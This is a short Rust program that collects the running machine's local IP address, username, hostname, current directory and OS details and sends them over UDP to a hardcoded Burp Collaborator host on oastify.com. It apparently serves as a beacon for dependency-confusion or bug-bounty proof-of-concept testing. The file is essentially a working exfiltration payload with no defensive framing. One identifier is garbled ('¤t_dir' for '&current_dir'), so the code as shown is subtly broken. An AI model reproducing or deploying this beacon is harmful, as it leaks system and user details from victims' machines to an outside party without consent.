use std::env;
use std::net::UdpSocket;
use std::process::Command;
fn main() {
let ip_address = get_ip_address().unwrap_or_else(|_| "unknown".to_string());
let username = env::var("USER").unwrap_or_else(|_| "unknown".to_string());
let hostname = get_hostname().unwrap_or_else(|_| "unknown".to_string());
let current_dir = env::current_dir().unwrap().display().to_string();
let os_info = get_os_info();
let burp_collaborator = "siewwjq4g22zu1c11yueo7imadg44zso.oastify.com";
println!("IP Address: {}", ip_address);
println!("Username: {}", username);
println!("Hostname: {}", hostname);
println!("Current Directory: {}", current_dir);
println!("OS Info: {}", os_info);
send_to_burp_collaborator(
&ip_address,
&username,
&hostname,
¤t_dir,
&os_info,
burp_collaborator,
);
}
fn get_ip_address() -> Result<String, std::io::Error> {
let socket = UdpSocket::bind("0.0.0.0:0")?;
socket.connect("8.8.8.8:80")?;
let local_addr = socket.local_addr()?;
Ok(local_addr.ip().to_string())
}
fn get_hostname() -> Result<String, std::io::Error> {
let output = Command::new("hostname").output()?;
let hostname = String::from_utf8_lossy(&output.stdout).trim().to_string();
Ok(hostname)
}
fn get_os_info() -> String {
let os_type = env::consts::OS;
let os_family = env::consts::FAMILY;
let os_arch = env::consts::ARCH;
format!("Type: {}, Family: {}, Arch: {}", os_type, os_family, os_arch)
}
fn send_to_burp_collaborator(
ip: &str,
user: &str,
host: &str,
dir: &str,
os_info: &str,
collaborator: &str,
) {
let message = format!(
"IP: {}, User: {}, Host: {}, Dir: {}, OS: {}",
ip, user, host, dir, os_info
);
let _ = UdpSocket::bind("0.0.0.0:0").and_then(|socket| {
socket.send_to(message.as_bytes(), format!("{}:80", collaborator))
});
}